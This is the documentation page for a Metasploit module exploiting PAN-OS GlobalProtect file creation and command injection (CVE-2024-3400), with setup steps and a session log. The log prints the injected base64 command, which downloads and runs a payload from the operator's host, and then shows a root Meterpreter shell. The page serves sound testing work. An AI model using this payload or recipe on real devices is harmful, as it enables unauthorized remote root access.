## Vulnerable Application
This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that
allow an unauthenticated attacker to create arbitrarily named files and execute
shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or
GlobalProtect Portal enabled and telemetry collection on (default). Affected versions
include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1,
< 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to
one hour to execute, depending on how often the telemetry service is set to run.

For a technical analysis of the vulnerability, read our [Rapid7 Analysis](https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis).

## Testing
Boot a vulnerable PAN-OS VM or device, then authenticate to the management web service with default credentials. From the
web dashboard, configure a GlobalProtect [Portal](https://docs.paloaltonetworks.com/globalprotect/10-1/globalprotect-admin/globalprotect-portals/set-up-access-to-the-globalprotect-portal)
and/or [Gateway](https://docs.paloaltonetworks.com/globalprotect/10-1/globalprotect-admin/globalprotect-gateways/configure-a-globalprotect-gateway).
With either or both started, the `gpsvc` service will begin serving an HTTPS service on port 443 for the second
network interface. Confirm that the web service presents a Palo Alto Networks login page when viewed. This web application
is the target of the exploit, and the '/global-protect/login.esp' page should be accessible.

The exploit has been tested against PAN-OS 10.2.9, and it should also be effective against other similarly-configured 10.2, 11.0,
and 11.1 versions.

## Verification Steps

1. Start msfconsole
2. `use exploit/linux/http/panos_telemetry_cmd_exec`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set payload cmd/linux/http/x64/meterpreter_reverse_tcp`
5. `set LHOST eth0`
6. `check`
7. `exploit`

## Scenarios

### Linux Command

Note: Ensure the target is vulnerable to unauthenticated file creation with the `check` command.

Note: Since it can take up to one hour to establish code execution, the listener should be left running for that period.

Note: In the standard PAN-OS configuration, the payload is delivered to the GlobalProtect interface IP, but the shell will return via a different PAN-OS management interface IP. 

```
msf > use exploit/linux/http/panos_telemetry_cmd_exec
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
msf exploit(linux/http/panos_telemetry_cmd_exec) > show options

Module options (exploit/linux/http/panos_telemetry_cmd_exec):

   Name       Current Setting            Required  Description
   ----       ---------------            --------  -----------
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      443                        yes       The target port (TCP)
   SSL        true                       no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /global-protect/login.esp  yes       An existing web application endpoint
   VHOST                                 no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       WGET             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      EkcxbboZMyD      no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  /var/tmp         yes       Remote writable dir to store payload; cannot contain spaces
   LHOST                                yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Default



View the full module info with the info, or info -d command.

msf exploit(linux/http/panos_telemetry_cmd_exec) > set RHOSTS 192.168.50.226
RHOSTS => 192.168.50.226
msf exploit(linux/http/panos_telemetry_cmd_exec) > set LHOST 192.168.50.25
LHOST => 192.168.50.25
msf exploit(linux/http/panos_telemetry_cmd_exec) > set LPORT 8585
LPORT => 8585
msf exploit(linux/http/panos_telemetry_cmd_exec) > check
[+] 192.168.50.226:443 - The target is vulnerable. Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/glyphicons-ipteqmbl-regular.woff2 NOTE: This file will not be deleted
msf exploit(linux/http/panos_telemetry_cmd_exec) > exploit

[*] Started reverse TCP handler on 192.168.50.25:8585 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/glyphicons-ikxrpbmq-regular.woff2 NOTE: This file will not be deleted
[*] Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload
[*] Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled
[*] Meterpreter session 1 opened (192.168.50.25:8585 -> 192.168.50.216:48310) at 2024-04-18 14:53:09 -0500
[!] This exploit may require manual cleanup of '/opt/panlogs/tmp/device_telemetry/minute/lyne`echo${IFS}-n${IFS}d2dldCAtcU8gL3Zhci90bXAvdWdWZlhXUnhWIGh0dHA6Ly8xOTIuMTY4LjUwLjI1OjgwODAvcUpPXzJ2MUFPVkRIc2hsVVIyRHVzQTsgY2htb2QgK3ggL3Zhci90bXAvdWdWZlhXUnhWOyAvdmFyL3RtcC91Z1ZmWFdSeFYgJg==|base64${IFS}-d|bash${IFS}-`' on the target

meterpreter > getuid 
Server username: root
meterpreter > sysinfo 
Computer     : 192.168.50.216
OS           : CentOS 8.3.2011 (Linux 4.18.0-240.1.1.20.pan.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```
